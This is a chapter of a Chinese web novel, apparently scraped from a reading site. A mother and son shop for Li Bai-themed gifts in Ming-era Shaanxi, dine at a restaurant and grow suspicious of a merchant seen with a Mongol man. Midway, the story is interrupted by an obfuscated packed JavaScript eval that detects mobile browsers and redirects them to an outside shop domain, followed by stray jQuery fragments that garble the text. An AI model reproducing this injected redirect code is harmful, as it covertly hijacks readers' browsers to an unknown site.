文趣网 > 都市小说 > 穿到十年后夫君高升时 > 7. 他乡故知
    那汉子高胖得像一只大缸,肚子像临产妇人一样圆滚滚地鼓着。

    阿元一转身撞在了高胖汉子的肚子上,立刻腾腾腾地后退,在汉子的帮助下才站稳。

    两人一高一矮、一胖一瘦,一眼望去有些滑稽。

    然而秦桑在意的,却是那汉子的面容。

    汉子红脸圆大,不大的五官淹没在脸肉中,两条短小的眼睛斜斜吊着。

    虽然从没见过他,但秦桑也知道这人是鞑官。

    不,不一定是鞑官,但一定是鞑人。

    阿元站定了道歉,秦桑也走过去道谢,那汉子说句“不碍事”,便越过阿元,一步步走向放满丝绸的架子。

    他汉语说得很标准,似乎常年生活在此处。

    那汉子几步就没了身影,秦桑不再多想,和阿元一并去看他选中的丝绸:“阿元选好了?”

    “嗯,”阿元用力点头,他指着架子上的丝绸有些忐忑:“娘,我要这个颜色。”

    “月白色?”秦桑看一眼就笑了:“好啊,喜欢就买。”

    “阿元还要不要别的颜色?”

    “娘,”阿元仰头小声问:“娘不问我为什么选这个颜色?”

    秦桑给面子地开口询问:“阿元为什么选这个颜色?”

    阿元皱眉思考片刻,确定四下无人才小声道:“夫子讲课时提到了唐代的大诗人李白,说他游历四方、潇洒恣肆。”

    “我总觉得他仗剑游历时穿着月白色的衣裳,也不知道是为什么。”

    “可能因为他叫李白、字太白,和白字有缘吧,”秦桑也背过李白的诗,忽然神秘兮兮地挑了挑眉:“那阿元要不要买长剑、配折扇?”

    “李白会击剑、为任侠,听说他还手刃数人,光买白衫可不够。”

    “啊?”阿元眼睛一亮,他嘴角止不住的上扬:“可以吗?买剑?还带折扇?”

    “怎么不能啊,”秦桑失笑:“反正你大舅有钱,又不是买不起。”

    阿元却纠结起来:“可是……”

    秦桑没插嘴,阿元想了很久才担忧地问:“可是,还没跟爹爹说呢。”

    “要是突然买了剑,爹知道后生气怎么办?”

    阿元忧心忡忡,秦桑顺手揉揉他脑袋:“没事,你爹不会生气的。”

    “要是怕他生气,就把剑藏在我屋里。”

    “……”阿元言语无力:“娘,你和爹爹睡在同一间卧房里。”

    秦桑:“……”

    还真是。

    这些天周度一直忙公务,只在晚上去看看她,她都忘了那也是周度的卧房了。

    秦桑立刻改口:“没关系,那就把事情全推给你大舅,说是他非要送给你,你爹就不好意思生气了。”

    “……娘,爹他不是傻子,”阿元满脸纠结:“这主意连小孩都哄不住,更别说是爹爹了。”

    “那你买不买?”秦桑不再说车轱辘话。她一锤定音:“买了,我说的。”

    “走,咱们找你大舅去。”

    阿元喜滋滋地跟着秦桑去找秦樟,笑得傻里傻气的。

    。

    秦桑有心要送儿子礼物,发觉阿元崇拜李白后,索性给阿元置办了一整套的装备——

    除了要做圆领的月白罗布,还有适合阿元用的小款长剑,甚至还特意准备了折扇、玉佩和金龟。

    这些东西分布在不同的店铺中,一行人紧赶慢赶,逛了一个多时辰才搞定。

    虽说罗布还没有裁衣,长剑因为定制、至今尚未到手,但阿元照样笑得见牙不见眼。

    他爱不释手地把玩着腰间的金龟和玉佩,说话声音都提高了不少:“娘,你怎么连金龟都买了?”

    “不是说贺知章佩服李白的才气,解了腰间金龟换酒请他喝吗?”秦桑兴致大好。她逛街逛出来满头薄汗:“那就给你也买一个玩玩。”

    “但是阿元,你还是一个小孩子,不准卖了金龟换酒喝,不然你爹罚你我可不管。”

    “知道知道,”阿元一迭声地应,又忍不住摸了摸金龟。

    金龟沉甸甸的,阿元怕金龟撞坏了玉佩,就把金龟同上次秦桑送的平安结一起挪到了腰带右侧,又把玉佩挪到了腰带左侧,这才安心地拍了拍手:“娘,你放心,我不会喝酒的。”

    “嗯哼,”秦桑随口应:“逛这么久饿了吧?”

    “咱们去找你大舅,他说了,今天请咱们在最有名的顺兴楼吃饭!”

    阿元连连点头,忙拉着秦桑手去找秦樟——

    母子俩逛街的热情太过高涨,年近半百的秦樟有些体力不支,离开布庄后就没有下过马车,只让侍卫陪同母子俩去逛,自己歇在车上。

    。

    顺兴楼里,秦樟点了二楼临窗的三张桌子,请所有的侍卫一起吃饭——

    出门前,周度下了死命令,让侍卫们寸步不离地跟着秦桑与阿元。

    侍卫们不离开,秦樟他们也不好意思让他们看着自己吃,索性给他们也点了座位饭菜,正好也让侍卫们歇歇。

    二楼凉风习习,秦樟倒了葡萄酒递给秦桑:“桑桑,尝尝这个。”

    葡萄酒甜甜的,入口只有淡淡的酒味;何况现在天气冷,酒也凉凉的,喝起来冰凉甘甜,让人爱不释手。

    秦桑由衷赞叹:“好喝!”

    “没出息,”秦樟一声笑骂:“顺兴楼里有好几样招牌菜,等下你尝尝那个八宝鸭和烤羊肉,尤其是羊肉,是特地从宁夏那边运过来的,一点也不膻,保准你连舌头都能吞下去。”

    说笑时烤羊肉先上来了。

    金黄酥脆的烤肋排放在木制托盘上,旁边还放着一把三四寸长的小刀。

    烤羊肉霸道的香气四散开来,秦樟抬手就要分割羊肉,忽然被秦桑拽着手腕:“哥你快看!左边楼梯那个人!他是不是那个卖茶的陈老板?”

    秦樟抬眼看:“还真是他。”

    陈老板的姐夫是杭州的大茶商,他常年跟着姐夫做事,不常去淮安。

    但耐不住周度中举人时才十五岁,是本朝开国以来,南直隶最年少的举人,惊得淮安知府都亲自请周度去赴宴。

    那之后秦家就热闹起来了,总有商人过来套近乎,陈老板是最会套近乎的一个人。

    似乎是察觉到了此处的热闹,陈老板抬头,看见秦樟后脸色一变,匆匆忙忙地跑开了。

    嗯?

    陈老板明明就认出秦樟了,怎么跑了?

    他乡遇故知,就算没有激动得热泪盈眶,也不至于一副见鬼的表情吧?

    秦桑满头雾水,忽然发现方才陈老板身边之人正望着自己。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699303|208079||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    那人胖身圆脸,五官不大,几乎要淹没在脸肉中。

    分明就是个鞑子。

    等等,鞑子?

    秦桑隐约有了个猜测,面色有些难看;恰巧小厮端着托盘来上菜,菜上齐了,那鞑子也找不着踪影了。

    秦桑越想越心惊肉跳。她走到侍卫那桌:“劳烦帮个忙——跟着陈掌柜和那个鞑子,看看他们都是谁、去了哪里。”

    侍卫们一早注意着秦桑,此时秦桑开口,立刻拨了两个人去盯梢。

    “菜上齐了,吃饭,”秦樟唤回秦桑,用筷子勺子分开了那只八宝葫芦鸭,妹子、外甥一人一只大鸭腿:“尝尝这个八宝鸭,可是这里的招牌菜。”

    秦桑没心思吃鸭腿。她又喝了几杯葡萄酒,话也稠起来了:“哥,你说陈老板来这里做什么?方才他是不是和那鞑子并肩而行?这里鞑子好像有点多?”

    上午阿元在布庄撞到了鞑子,后来置办行头也一直遇见鞑子,现在在顺兴楼吃饭,也低头就能看见鞑子。

    秦桑知道妹子的心思,但他无意多说,只轻描淡写道:“这里是陕西,旁边散着一堆的蒙古部落;我大明朝九个边镇,有四个在这边。”

    “有时候这些鞑子遣使进京,有时候归顺我朝,见几个鞑子算什么事?”

    “快吃饭。”

    说着又盛了葫芦鸭里的八宝糯米饭给秦桑和阿元。

    “话是这么说,但鞑官待遇数倍于汉官,”秦桑皱眉:“周度说过,汉官俸禄往往折合宝钞等物,鞑官俸禄是实打实的发粮食,认真算下来,鞑官俸禄是汉官的好几倍呢。”

    阿元沉默着放下了筷子。

    周度教导阿元很严,除了聘请名师教他,还会与他谈论政事。

    有次谈到鞑官,周度叹息着说鞑官待遇之厚远盛汉官,说将来若起边衅,这些归降的鞑官未必不会首鼠两端;还说本朝厚赏使者,鞑子常常借着出使的名义过来敛财,日后恐会生事。

    忽地桌子一震——

    秦樟酒杯重重砸在桌上。他沉了脸:“吃饭。”

    “鸭腿凉了就腥了,快点吃,吃完了再去给周度找大夫。”

    “哦哦,”想到周度,秦桑不再多想,低头吃着大哥夹来的鸭腿。

    热腾腾的鸭腿浓郁肥美,秦桑眼睛一亮:“哥,这个好吃!”

    说着拨了好大一块鸭腿肉给秦樟:“哥你尝尝。”

    秦樟笑着吃着这块鸭腿,心说他妹子当真件贴心的小棉袄,又听秦桑道:“对了,走的时候带一只回去,给周度也尝尝。”

    秦樟咀嚼鸭腿肉的动作一顿。

    ……不成了,这小棉袄掉水里结冰了,不能要了。

    鸭子凉了腥,好在顺兴楼时常给贵人们送饭菜,倒也知道该怎么保温——

    特制的食盒里放着一只小小的炭炉,外面又包着厚厚的棉被,确保客人入口时还是温热的。

    顺兴楼的小厮去送八宝葫芦鸭,秦桑一行人去了医馆请大夫。

    听阿元说,周度刚到陕西不久就有了咳疾,当时就请了这位妙手回春的张大夫去给他看,偏偏周度公务太忙,每次都推脱了。

    秦桑托腮:“这回不能让他逃了。”

    没曾想请了大夫回家,刚巧碰到周度派人来传话:他有些公务,这几天就不回来吃饭了。